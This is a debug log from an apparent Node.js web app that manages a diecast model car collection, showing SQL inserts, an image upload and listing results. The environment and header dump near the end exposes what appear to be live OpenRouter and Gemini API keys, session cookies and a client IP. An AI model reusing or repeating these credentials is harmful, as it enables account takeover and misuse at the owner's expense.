      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:30:04.830Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:30:04.831Z server-connect:app Executing action step identify
2026-02-03T13:30:04.831Z server-connect:app options: { provider: 'security' }
2026-02-03T13:30:04.831Z server-connect:output identity: 1
2026-02-03T13:30:04.831Z server-connect:app Executing action step restrict
2026-02-03T13:30:04.831Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:30:04.833Z server-connect:output restrict: undefined
2026-02-03T13:30:04.833Z server-connect:app Executing action step condition
2026-02-03T13:30:04.833Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:30:04.833Z server-connect:app Executing action step insert
2026-02-03T13:30:04.833Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:30:04.834Z server-connect:output insert: { affected: 1, identity: 141 }
2026-02-03T13:30:04.834Z server-connect:app Executing action step condition
2026-02-03T13:30:04.834Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-03T13:30:04.834Z server-connect:app Executing action step upload
2026-02-03T13:30:04.834Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:30:04.834Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-03T13:30:04.834Z server-connect:upload Process fields: 'images[]'
2026-02-03T13:30:04.834Z server-connect:upload Processing file: {
  name: 'ID068848_hE6UCvZ8hTgw.jpeg',
  data: <Buffer >,
  size: 122800,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-8-20378841770125404829',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '27cd34ba2b1ba52d50f5ba25d1c1d0e4',
  mv: [Function: mv]
}
2026-02-03T13:30:04.835Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID068848_hE6UCvZ8hTgw_4a692673-ffae-46a4-b19b-94b81350ba82.jpeg',
  rel: 'public/assets/images/diecast/ID068848_hE6UCvZ8hTgw_4a692673-ffae-46a4-b19b-94b81350ba82.jpeg'
}
2026-02-03T13:30:04.835Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID068848_hE6UCvZ8hTgw_4a692673-ffae-46a4-b19b-94b81350ba82.jpeg',
  rel: 'assets/images/diecast/ID068848_hE6UCvZ8hTgw_4a692673-ffae-46a4-b19b-94b81350ba82.jpeg'
}
2026-02-03T13:30:04.835Z server-connect:output upload_image: [
  {
    name: 'ID068848_hE6UCvZ8hTgw_4a692673-ffae-46a4-b19b-94b81350ba82.jpeg',
    path: '/public/assets/images/diecast/ID068848_hE6UCvZ8hTgw_4a692673-ffae-46a4-b19b-94b81350ba82.jpeg',
    url: '/assets/images/diecast/ID068848_hE6UCvZ8hTgw_4a692673-ffae-46a4-b19b-94b81350ba82.jpeg',
    type: 'image/jpeg',
    size: 122800
  }
]
2026-02-03T13:30:04.835Z server-connect:app Executing action step repeat
2026-02-03T13:30:04.835Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:30:04.835Z server-connect:app Executing action step insert
2026-02-03T13:30:04.835Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:30:04.836Z server-connect:output images: { affected: 1, identity: 159 }
2026-02-03T13:30:04.836Z server-connect:output repeat_images: [ {} ]
2026-02-03T13:30:04.836Z server-connect:output condition: undefined
2026-02-03T13:30:04.836Z server-connect:output condition: undefined
2026-02-03T13:30:05.076Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:30:05.077Z server-connect:app Executing action step identify
2026-02-03T13:30:05.077Z server-connect:app options: { provider: 'security' }
2026-02-03T13:30:05.077Z server-connect:output identity: 1
2026-02-03T13:30:05.077Z server-connect:app Executing action step restrict
2026-02-03T13:30:05.077Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:30:05.077Z server-connect:output restrict: undefined
2026-02-03T13:30:05.077Z server-connect:app Executing action step paged
2026-02-03T13:30:05.078Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:30:05.083Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 123,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:30:19.264Z server-connect:router Serving templateView /diecast
2026-02-03T13:30:19.264Z server-connect:app Executing action step identify
2026-02-03T13:30:19.264Z server-connect:app options: { provider: 'security' }
2026-02-03T13:30:19.264Z server-connect:output identity: 1
2026-02-03T13:30:19.264Z server-connect:app Executing action step restrict
2026-02-03T13:30:19.264Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T13:30:19.265Z server-connect:output restrict: undefined
2026-02-03T13:30:19.265Z server-connect:router Render template layouts/main
2026-02-03T13:30:19.265Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-03T13:30:24.523Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-03T13:30:24.523Z server-connect:app Executing action step identify
2026-02-03T13:30:24.524Z server-connect:app options: { provider: 'security' }
